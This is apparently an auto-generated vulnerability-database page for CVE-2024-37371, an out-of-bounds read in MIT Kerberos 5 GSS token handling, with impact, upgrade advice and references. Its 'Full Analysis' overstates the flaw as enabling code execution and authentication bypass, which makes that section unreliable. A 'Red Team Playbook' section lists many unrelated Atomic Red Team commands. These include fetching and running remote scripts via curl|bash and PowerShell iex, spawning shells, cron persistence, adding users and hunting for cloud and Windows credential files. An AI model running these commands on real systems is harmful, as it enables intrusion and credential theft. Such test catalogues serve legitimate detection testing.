CVE-2024-37371
Overview
This vulnerability is a memory safety flaw classified as an invalid memory read (out-of-bounds read) occurring in the message token handling component of MIT Kerberos 5 prior to version 1.21.3. The root cause lies in improper validation of length fields within GSS-API message tokens, allowing crafted tokens with invalid length values to trigger reads beyond allocated buffers. The flaw specifically affects the GSS-API token parsing logic in the krb5 library, which processes authentication tokens exchanged during secure communication.
Vulnerability Description
In MIT Kerberos 5 (aka krb5) before 1.21.3, an attacker can cause invalid memory reads during GSS message token handling by sending message tokens with invalid length fields.
Impact
An attacker can remotely cause the Kerberos 5 service to perform invalid memory reads without authentication or user interaction. This can lead to information disclosure from memory, potentially exposing sensitive authentication data or internal process memory contents. Additionally, the flaw can cause service instability or crashes, resulting in denial of service conditions. The vulnerability can be exploited over network protocols using Kerberos authentication, impacting the availability and confidentiality of authentication services in affected environments.
Solution
Upgrade MIT Kerberos 5 to version 1.21.3 or later, which contains the fix for this memory handling flaw as detailed in the official MIT Kerberos advisory available at https://web.mit.edu/kerberos/www/advisories/. Debian users should apply updates to their krb5 packages for Debian 11 and 12 as provided by the Debian security team. Refer to the MIT advisory and Debian security notices for precise patch versions and installation instructions to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in MIT Kerberos 5 prior to version 1.21.3 arises from improper handling of message tokens during the GSS (Generic Security Services) API processing. Specifically, the issue is tied to invalid memory reads triggered by message tokens that contain incorrect length fields. When the GSS mechanism processes these tokens, it attempts to read memory based on the specified lengths, leading to potential access of unallocated or restricted memory regions. This can result in undefined behavior, including application crashes or, in more severe cases, the execution of arbitrary code, which poses a significant threat to the integrity and confidentiality of the system.
Attack vectors for this vulnerability primarily involve the manipulation of GSS message tokens sent to a vulnerable instance of MIT Kerberos 5. An attacker could craft malicious tokens with deliberately invalid length fields and send them to a targeted server or service that utilizes Kerberos for authentication. This could occur over various network protocols, making it a versatile attack vector. Exploitation could be executed remotely, allowing an attacker to bypass authentication mechanisms or escalate privileges within the system. Furthermore, the ability to manipulate memory could lead to the execution of arbitrary code, potentially allowing attackers to gain control over the affected system.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Kerberos for secure authentication in their IT infrastructure. The high CVSS score of 9.1 indicates a critical severity level, suggesting that successful exploitation could lead to significant security breaches. Organizations using Debian Linux versions 11.0 and 12.0, which are affected by this vulnerability, may find themselves at risk of unauthorized access, data breaches, or service disruptions. The potential for exploitation not only threatens the integrity of sensitive data but also poses a considerable business risk, including financial losses, reputational damage, and regulatory penalties.
To detect and mitigate this vulnerability, organizations should prioritize updating to the latest version of MIT Kerberos 5, specifically version 1.21.3 or later, which addresses this issue. Regular patch management practices should be enforced to ensure that all systems are up-to-date with security fixes. Additionally, implementing network-level defenses such as intrusion detection systems (IDS) can help identify and block malicious traffic attempting to exploit this vulnerability. Monitoring logs for unusual authentication attempts or anomalies in GSS token handling can also provide early warnings of potential exploitation attempts.
In conclusion, the vulnerability in MIT Kerberos 5 represents a critical security risk that can be exploited through crafted GSS message tokens. The potential for remote exploitation and the severe consequences of unauthorized access necessitate immediate attention from organizations utilizing affected versions. By adopting robust detection and mitigation strategies, including timely updates and proactive monitoring, organizations can significantly reduce their risk exposure and enhance their overall security posture.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mit | Kerberos 5 | All |
cpe:2.3:a:mit:kerberos_5:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 12.0 |
cpe:2.3:o:debian:debian_linux:12.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-540 | Overread Buffers |
33%
|
Low | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-37371 |
| web.mit.edu |
GitHub CVE
|
https://web.mit.edu/kerberos/www/advisories/ |
| github.com |
GitHub CVE
|
https://github.com/krb5/krb5/commit/55fbf435edbe2e92dd8101669b1ce7144bc96fef |
| security.netapp.com |
NVD API
|
https://security.netapp.com/advisory/ntap-20241108-0009/ |
| security.netapp.com |
NVD API
|
https://security.netapp.com/advisory/ntap-20250124-0010/ |
| cert-portal.siemens.com |
NVD API
|
https://cert-portal.siemens.com/productcert/html/ssa-082556.html |